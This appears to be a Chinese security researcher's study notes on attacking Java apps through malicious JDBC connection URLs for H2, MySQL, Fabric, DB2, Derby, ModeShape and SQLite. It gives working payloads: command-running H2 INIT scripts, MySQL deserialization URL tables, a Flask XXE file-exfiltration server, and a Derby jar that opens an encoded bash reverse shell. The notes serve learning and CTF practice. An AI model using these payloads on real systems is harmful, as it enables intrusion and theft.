H2数据库 RCE
官网下载h2数据库的包,运行bin下的sh脚本文件启动h2数据库
H2 INIT执行Java方法
H2数据库在连接之后在初始化步骤可以执行脚本,指定
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "1";}';CALL EXEC ('firefox')
保存为sql文件,在目录下开启httpserver,再指定jdbc时可以指定初始命令为我们做好的恶意文件
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/evil.sql'
运行firefox即可弹出,本质上就是可以运行自定义Java方法
通过JavaScript运行java方法
将连接H2数据库之后的INIT操作绑定了JS,通过java的触发器触发,因为h2数据库的触发器允许进行java代码
public class AttackH2ByJavaScript {
public static void main(String[] args) throws Exception {
// 装载驱动
Class.forName("org.h2.Driver");
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"gnome-calculator\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '" + javascript + "'";
Connection conn = DriverManager.getConnection(url);
conn.close();
}
}
通过Groovy脚本运行
@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("gnome-calculator")
})
def x;
@ASTTest
是Groovy的编译时注解,其value
参数中的代码会在编译阶段执行
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"gnome-calculator\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";
Mysql JDBC 反序列化
ServerStatusDiffInterceptor的方法触发
ServerStatusDiffInterceptor
参数建立连接后执行SHOW SESSION STATUS
并反序列化结果
利用点在于调用JDBC组件的readobject方法 在mysql-connector-java组件的ResultSetImpl
文件中的getObject
方法下调用了readobject
可以看到需要经过几个ifelse判断
int columnIndexMinusOne = columnIndex - 1;
if (this.thisRow.getNull(columnIndexMinusOne)) {
return null;
} else ...
第一个判断了返回数据的列数,如果为null则不进行后续操作保留系统性能,好绕 第二层是对sql返回的数据的判断,叠了层switch case,这里需要进入BIT类型,也就是二进制类型,并且需要满足isBinary()
和isBlob()
之后程序将得到的二进制数据存进数组data
,判断jdbcurl的autoDeserialize
的布尔值,为true则继续进入下一个if
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}
这个if通过魔数判断了二进制数据是否为序列化数据,之后就直接对其进行readobject了🎉
那么谁调用了这个getobject呢?
resultSetToMap
掉了, 它又被ServerStatusDiffInterceptor
类的populateMapWithSessionStatusValues
调用,之后被preProcess调用,这条链子用到了ServerStatusDiffInterceptor
类的方法,主要涉及到的查询语句是SHOW SESSION STATUS
populateMapWithSessionStatusValues:86, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:103, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1124, NativeProtocol (com.mysql.cj.protocol.a)
.....
这条链子的一些payload,直接搬了
这里的版本指的是连接组件的版本
MySQL 版本范围 | 可用性 | JDBC 连接字符串 |
---|---|---|
8.x.x | 可用 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc |
6.x.x | 可用 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc |
5.1.11 及以上的 5.x 版本 | 可用 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc |
5.1.10 及以下的 5.1.x 版本 | 可用(需查询) | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc |
5.0.x | 不可用 | - |
5.1.0 - 5.1.10 | 可用(需查询) | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc |
5.1.11 - 5.x.xx | 可用 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc |
6.x.x | 可用 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc |
8.0.20 以下 | 可用 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc |
detectCustomCollations触发
detectCustomCollations
参数建立连接后执行SHOW COLLATION
并反序列化结果
与上者的区别在于用到了不同的链子去调用ResultSetUtil
类的resultSetToMap
方法
我这里全局搜索resultSetToMap只能找见resultSetToMap的定义,找不到被调用的地方,怎么搜索都找不到,有点不解了
每个版本都有点不同,这里记录6.0.2的,在buildCollationMapping
这个方法下存在对resultSetToMap
方法的调用,之后的链子不变,也是调用getobject然后调用readobject
payload
MySQL 版本范围 | 可用性 | JDBC 连接字符串 |
---|---|---|
5.1.41 及以上 | 不可用 | - |
5.1.29 - 5.1.40 | 可用 | jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc |
5.1.28 - 5.1.19 | 可用 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc |
5.1.18 以下的 5.1.x | 不可用 | - |
5.0.x | 不可用 | - |
5.1.19 - 5.1.28 | 可用 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc |
5.1.29 - 5.1.48 | 可用 | jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc |
5.1.49 | 不可用 | - |
6.0.2 - 6.0.6 | 可用 | jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc |
8.x.x | 不可用 | - |
fabric
MySQL Fabric 是一个用于管理 MySQL 集群的高可用性和可扩展性的解决方案。它主要用于简化 MySQL 集群的管理和维护,提供自动化的故障转移、数据分片和读写负载均衡功能。
public class AttackFabric {
public static void main(String[] args) throws Exception {
// 可以不指定 driver,使用 SPI 机制分配 FabricMySQLDriver String url = "jdbc:mysql:fabric://127.0.0.1:5000";
DriverManager.getConnection(url);
}
}
pom.xml中添加如下版本mysql驱动
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.36</version>
</dependency>
在旧版本的mysqlConnector中还包含了com.mysql.fabric.jdbc.FabricMySQLDrive
这个连接器,它用来解析jdbc:mysql:fabric:/
开头的JDBC链接
Properties parseFabricURL(String url, Properties defaults) throws SQLException {
return !url.startsWith("jdbc:mysql:fabric://") ? null : super.parseURL(url.replaceAll("fabric:", ""), defaults);
}
这个方法对jdbc的链接头做了匹配,若为fabric链接则进入fabric进行处理 之后在FabricMySQLConnectionProxy
类中,会对JDBC指定的服务器发送个xml探测
对5000端口nc,发现在链接jdbc的时候,会想我们的服务器发送一个xml 那么这就是个基础的SSRF,进一步利用可以XXE
构造以下XXE网页
from flask import Flask
app = Flask(__name__)
@app.route('/xxe.dtd', methods=['GET', 'POST'])
def xxe_oob():
return '''<!ENTITY % aaa SYSTEM "file:///tmp/1.txt">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://127.0.0.1:5000/xxe?data=%aaa;'>">
%demo;'''
@app.route('/', methods=['GET', 'POST'])
def dtd():
return '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://127.0.0.1:5000/xxe.dtd">
%xd;
]>
<root>&bbbb;</root>'''
if __name__ == '__main__':
app.run()
放在JDBC链接里connect,我们可以在log中看到回显服务器的任意文件内容
DB2
通过jndi打的,没搞清楚怎么回事,遂记录利用方法
使用JNDIKit启动服务,指定使用链即可,这个JNDIKit自己编译就行了
public class AttackTest {
public static void main(String[] args) throws Exception {
// 注册驱动
Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:8000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/BashCommand;");
}
}
运行可弹
Derby
Apache Derby 是一个完全用 Java 编写的开源关系型数据库管理系统(RDBMS),属于 Apache 软件基金会的一个项目。它的核心特点包括轻量级、嵌入式支持和跨平台性,适用于多种应用场景
关于Derby的JDBC攻击主要是通过主从复制 然后我怎么都复现不出来,先跳过吧,后面补
N1CTF 2024 Derby(JNDI)复现(思路复现😢)
翻着去年boogipop师傅的N1CTFwp,才发现Derby还有一个JNDI注入方法,这次来复现一下: 源码在官方的wp中已给出,IDEA开个springboot项目然后把路径逻辑和依赖添加一下就好
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.21</version>
</dependency>
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.14.2.0</version>
</dependency>
</dependencies>
package com.orxiain.n1ctf2023;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import javax.naming.Context;
import javax.naming.InitialContext;
@RestController
public class IndexController {
@RequestMapping("/")
public String index() {
return "hello derby";
}
@RequestMapping("/lookup")
public String lookup(@RequestParam String url) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(url);
return "ok";
}
}
我们先来看看lookup路由,它给了个JNDI入口点,那么正常思路是通过JNDI注入打反序列化链子,但因为JDK高版本,模块的强封装性限制了模块之间的访问,很难利用其他组件
这里是借助了Druid的DruidDataSourceFactory#getObjectInstance
,将JNDI转化为了JDBC去打 它调用了createDataSourceInternal
protected DataSource createDataSourceInternal(Properties properties) throws Exception {
DruidDataSource dataSource = new DruidDataSource();
config(dataSource, properties);
return dataSource;
}
在最后调用了dataSource的init
在init方法中的后半部分,
createPhysicalConnection()
方法调用了JDBC链接
在后面进行了链接
之后得想办法RCE,在DruidDataSourceFactory
中有和H2类似的initSql语句功能 在DruidAbstractDataSource
中找见了相关属性
回去在config函数可以找见
那么我们可以执行任意的SQL语句了,而derby数据库RCE过程如下,可以导入jar,并执行其中的静态方法
## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)
## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')
## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'
## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()
构造命令执行类
import java.io.IOException;
public class shell {
public static void exec() throws IOException {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTU1NTUgPCYx}|{base64,-d}|{bash,-i}");
}
}
编译为jar
javac src/shell.java
jar -cvf shell.jar -C src/ .
现在写ldap服务器,将工厂类设置为DruidDataSourceFactory
,并设置其中的一些属性值,主要是jdbc链接和初始化SQL方法等 … 按理来说是没有问题的,但因为没附件,大概在一些点上不能做到环境完美搭建,所以我怎么照着payload字符级别复刻都没出来。。。 不过搞一次学到的还是挺多的,之后汇总做做最近的java题😢
Links
https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/#derby
Modeshape
ModeShape 是一个基于 JCR (Java Content Repository) 规范的开源内容存储系统,旨在提供一种结构化的方式来存储和管理内容。它适用于需要强大内容管理、版本控制和搜索功能的应用程序。ModeShape 是一个分层的、事务性的、一致的数据存储库,支持查询、全文搜索、事件、版本控制、引用和灵活的动态模式
public class AttackTest {
public static void main(String[] args) throws Exception {
// 注册驱动
Class.forName("org.modeshape.jdbc.LocalJcrDriver");
// jcr 协议支持
DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/deserialCommonsCollections5");
}
}
起个恶意ldap服务打就行了
SQLite
在CoreConnection
这个类中,它对JDBC的url的前缀进行了判断,如果是resource
,则获取链接中的内容
保存之后并尝试加载
这里存在SSRF,如果有更多权限可以尝试加载恶意so
之后
决定照着su18师傅的文章手搓FakeServer
Links
Boogipop https://forum.butian.net/share/2872 https://tttang.com/archive/1877/#toc_1detectcustomcollations
强烈推荐: https://su18.org/post/jdbc-connection-url-attack/
https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/#derby